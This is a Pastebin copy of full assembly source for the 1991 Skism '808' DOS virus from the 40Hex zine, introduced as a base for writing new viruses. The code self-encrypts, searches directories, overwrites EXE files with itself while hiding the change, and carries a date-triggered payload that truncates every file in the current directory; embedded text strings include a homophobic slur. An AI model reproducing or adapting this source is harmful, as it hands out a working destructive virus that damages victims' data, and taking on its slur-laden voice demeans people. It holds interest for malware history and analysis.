Advertisement
Guest User

TR808

a guest
Aug 7th, 2017
483
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; 40Hex Volume 1 Issue 2                                                   0010
  2. ;
  3. ;                             The 808 Virus
  4. ;
  5. ;     Here another virus from Skism.  It's a quick overwriting virus but
  6. ;     you can use the source code to write your own viruses.
  7. ;
  8. ; ------------------------------------------------------------------------------
  9. ;
  10. ;The Skism 808 Virus.  Created 1991 by Smart Kids Into Sick Methods.
  11.  
  12.  
  13.  
  14. filename   EQU      30                 ;used to find file name
  15. fileattr   EQU      21                 ;used to find file attributes
  16. filedate   EQU      24                 ;used to find file date
  17. filetime   EQU      22                 ;used to find file time
  18.  
  19.  
  20.  
  21. code_start EQU      0100h              ;start of all .COM files
  22. virus_size EQU      808                ;TR 808
  23.  
  24.  
  25. code     segment  'code'
  26. assume   cs:code,ds:code,es:code
  27.          org      code_start
  28.  
  29. main proc   near
  30.  
  31. jmp    virus_start
  32.  
  33. encrypt_val    db     00h
  34.  
  35. virus_start:
  36.  
  37.      call     encrypt                  ;encrypt/decrypt file
  38.      jmp      virus                    ;go to start of code
  39.  
  40. encrypt:
  41.  
  42.      push     cx
  43.      mov      bx,offset virus_code     ;start encryption at data
  44.  
  45. xor_loop:
  46.  
  47.      mov      ch,[bx]                  ;read current byte
  48.      xor      ch,encrypt_val           ;get encryption key
  49.      mov      [bx],ch                  ;switch bytes
  50.      inc      bx                       ;move bx up a byte
  51.      cmp      bx,offset virus_code+virus_size
  52.                                        ;are we done with the encryption
  53.      jle      xor_loop                 ;no?  keep going
  54.      pop      cx
  55.      ret
  56.  
  57.  
  58. infectfile:
  59.  
  60.      mov     dx,code_start             ;where virus starts in memory
  61.      mov     bx,handle                 ;load bx with handle
  62.      push    bx                        ;save handle on stack
  63.      call    encrypt                   ;encrypt file
  64.      pop     bx                        ;get back bx
  65.      mov     cx,virus_size             ;number of bytes to write
  66.      mov     ah,40h                    ;write to file
  67.      int     21h                       ;
  68.      push    bx
  69.      call    encrypt                   ;fix up the mess
  70.      pop     bx
  71.      ret
  72.  
  73. virus_code:
  74.  
  75. wildcards    db     "*",0              ;search for directory argument
  76. filespec     db     "*.EXE",0          ;search for EXE file argument
  77. filespec2    db     "*.*",0
  78. rootdir      db     "\",0              ;argument for root directory
  79. dirdata      db     43 dup (?)         ;holds directory DTA
  80. filedata     db     43 dup (?)         ;holds files DTA
  81. diskdtaseg   dw     ?                  ;holds disk dta segment
  82. diskdtaofs   dw     ?                  ;holds disk dta offset
  83. tempofs      dw     ?                  ;holds offset
  84. tempseg      dw     ?                  ;holds segment
  85. drivecode    db     ?                  ;holds drive code
  86. currentdir   db     64 dup (?)         ;save current directory into this
  87. handle       dw     ?                  ;holds file handle
  88. orig_time    dw     ?                  ;holds file time
  89. orig_date    dw     ?                  ;holds file date
  90. orig_attr    dw     ?                  ;holds file attr
  91. idbuffer     dw     2 dup  (?)         ;holds virus id
  92.  
  93. virus:
  94.  
  95.       mov    ax,3000h                  ;get dos version
  96.       int    21h                       ;
  97.       cmp    al,02h                    ;is it at least 2.00?
  98.       jb     bus1                      ;won't infect less than 2.00
  99.       mov    ah,2ch                    ;get time
  100.       int    21h                       ;
  101.       mov    encrypt_val,dl            ;save m_seconds to encrypt val so
  102.                                        ;theres 100 mutations possible
  103. setdta:
  104.  
  105.      mov     dx,offset dirdata         ;offset of where to hold new dta
  106.      mov     ah,1ah                    ;set dta address
  107.      int     21h                       ;
  108.  
  109. newdir:
  110.  
  111.      mov     ah,19h                    ;get drive code
  112.      int     21h                       ;
  113.      mov     dl,al                     ;save drivecode
  114.      inc     dl                        ;add one to dl, because functions differ
  115.      mov     ah,47h                    ;get current directory
  116.      mov     si, offset currentdir     ;buffer to save directory in
  117.      int     21h                       ;
  118.  
  119.      mov     dx,offset rootdir         ;move dx to change to root directory
  120.      mov     ah,3bh                    ;change directory to root
  121.      int     21h                       ;
  122.  
  123. scandirs:
  124.  
  125.      mov     cx,13h                    ;include hidden/ro directorys
  126.      mov     dx, offset wildcards      ;look for '*'
  127.      mov     ah,4eh                    ;find first file
  128.      int     21h                       ;
  129.      cmp     ax,12h                    ;no first file?
  130.      jne     dirloop                   ;no dirs found? bail out
  131.  
  132. bus1:
  133.  
  134.       jmp    bus
  135.  
  136. dirloop:
  137.  
  138.      mov     ah,4fh                    ;find next file
  139.      int     21h                       ;
  140.      cmp     ax,12h
  141.      je      bus                       ;no more dirs found, roll out
  142.  
  143. chdir:
  144.  
  145.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  146.      mov     ah,3bh                    ;change directory
  147.      int     21h                       ;
  148.  
  149.      mov     ah,2fh                    ;get current dta address
  150.      int     21h                       ;
  151.      mov     [diskdtaseg],es           ;save old segment
  152.      mov     [diskdtaofs],bx           ;save old offset
  153.      mov     dx,offset filedata        ;offset of where to hold new dta
  154.      mov     ah,1ah                    ;set dta address
  155.      int     21h                       ;
  156.  
  157. scandir:
  158.  
  159.      mov     cx,07h                    ;find any attribute
  160.      mov     dx,offset filespec        ;point dx to "*.COM",0
  161.      mov     ah,4eh                    ;find first file function
  162.      int     21h                       ;
  163.      cmp     ax,12h                    ;was file found?
  164.      jne     transform
  165.  
  166. nextexe:
  167.  
  168.      mov     ah,4fh                    ;find next file
  169.      int     21h                       ;
  170.      cmp     ax,12h                    ;none found
  171.      jne     transform                 ;found see what we can do
  172.  
  173.      mov     dx,offset rootdir         ;move dx to change to root directory
  174.      mov     ah,3bh                    ;change directory to root
  175.      int     21h                       ;
  176.      mov     ah,1ah                    ;set dta address
  177.      mov     ds,[diskdtaseg]           ;restore old segment
  178.      mov     dx,[diskdtaofs]           ;restore old offset
  179.      int     21h                       ;
  180.      jmp     dirloop
  181.  
  182.  
  183. bus:
  184.  
  185.      jmp     rollout
  186.  
  187. transform:
  188.  
  189.      mov     ah,2fh                    ;temporally store dta
  190.      int     21h                       ;
  191.      mov     [tempseg],es              ;save old segment
  192.      mov     [tempofs],bx              ;save old offset
  193.      mov     dx, offset filedata + filename
  194.  
  195.      mov     bx,offset filedata               ;save file...
  196.      mov     ax,[bx]+filedate          ;date
  197.      mov     orig_date,ax              ;
  198.      mov     ax,[bx]+filetime          ;time
  199.      mov     orig_time,ax              ;    and
  200.      mov     ax,[bx]+fileattr          ;
  201.      mov     ax,4300h
  202.      int     21h
  203.      mov     orig_attr,cx
  204.      mov     ax,4301h                  ;change attributes
  205.      xor     cx,cx                     ;clear attributes
  206.      int     21h                       ;
  207.      mov     ax,3d00h                  ;open file - read
  208.      int     21h                       ;
  209.      jc      fixup                     ;error - find another file
  210.      mov     handle,ax                 ;save handle
  211.      mov     ah,3fh                    ;read from file
  212.      mov     bx,handle                 ;move handle to bx
  213.      mov     cx,02h                    ;read 2 bytes
  214.      mov     dx,offset idbuffer        ;save to buffer
  215.      int     21h                       ;
  216.  
  217.      mov     ah,3eh                    ;close file for now
  218.      mov     bx,handle                 ;load bx with handle
  219.      int     21h                       ;
  220.  
  221.      mov     bx, idbuffer              ;fill bx with id string
  222.      cmp     bx,02ebh                  ;infected?
  223.      jne     doit                      ;same - find another file
  224.  
  225.  
  226. fixup:
  227.      mov     ah,1ah                    ;set dta address
  228.      mov     ds,[tempseg]              ;restore old segment
  229.      mov     dx,[tempofs]              ;restore old offset
  230.      int     21h                       ;
  231.      jmp     nextexe
  232.  
  233.  
  234. doit:
  235.  
  236.      mov     dx, offset filedata + filename
  237.      mov     ax,3d02h                  ;open file read/write access
  238.      int     21h                       ;
  239.      mov     handle,ax                 ;save handle
  240.  
  241.      call    infectfile
  242.  
  243.      ;mov     ax,3eh                    ;close file
  244.      ;int     21h
  245.  
  246. rollout:
  247.  
  248.      mov     ax,5701h                  ;restore original
  249.      mov     bx,handle                 ;
  250.      mov     cx,orig_time              ;time and
  251.      mov     dx,orig_date              ;date
  252.      int     21h                       ;
  253.  
  254.      mov     ax,4301h                  ;restore original attributes
  255.      mov     cx,orig_attr
  256.      mov     dx,offset filedata + filename
  257.      int     21h
  258.      ;mov     bx,handle
  259.      ;mov     ax,3eh                   ;close file
  260.      ;int     21h
  261.      mov     ah,3bh                    ;try to fix this
  262.      mov     dx,offset rootdir         ;for speed
  263.      int     21h                       ;
  264.      mov     ah,3bh                    ;change directory
  265.      mov     dx,offset currentdir      ;back to original
  266.      int     21h                       ;
  267.      mov     ah,2ah                    ;check system date
  268.      int     21h                       ;
  269.      cmp     cx,1991                   ;is it at least 1991?
  270.      jb      audi                      ;no? don't do it now
  271.      cmp     dl,25                     ;is it the 25th?
  272.      jb      audi                      ;not yet? quit
  273.      cmp     al,5                      ;is Friday?
  274.      jne     audi                      ;no? quit
  275.      mov     dx,offset dirdata         ;offset of where to hold new dta
  276.      mov     ah,1ah                    ;set dta address
  277.      int     21h                       ;
  278.      mov     ah,4eh                    ;find first file
  279.      mov     cx,7h                     ;
  280.      mov     dx,offset filespec2       ;offset *.*
  281.  
  282. Loops:
  283.  
  284.      int     21h                       ;
  285.      jc      audi                      ;error? then quit
  286.      mov     ax,4301h                  ;find all normal files
  287.      xor     cx,cx                     ;
  288.      int     21h                       ;
  289.      mov     dx,offset dirdata + filename
  290.      mov     ah,3ch                    ;fuck up all files in current dir
  291.      int     21h                       ;
  292.      jc      audi                      ;error? quit
  293.      mov     ah,4fh                    ;find next file
  294.      jmp     loops                     ;
  295.  
  296. audi:
  297.  
  298.      mov     ax,4c00h                  ;end program
  299.      int     21h                       ;
  300.  
  301. ;The below is just text to pad out the virus size to 808 bytes.  Don't
  302. ;just change the text and claim that this is your creation.
  303.  
  304.  
  305. words_   db   "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
  306. words2   db   "  Dont alter this code into your own strain, faggit.      ",0
  307. words3   db   "  HR/SSS NYCity, this is the fifth of many, many more....",0
  308. words4   db   "  You sissys.....",0
  309.  
  310. main     endp
  311. code     ends
  312.          end      main
  313.  
  314.  
  315. ------------------------------------------------------------------------------
  316.  
  317.                                                                         HR
  318. 
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement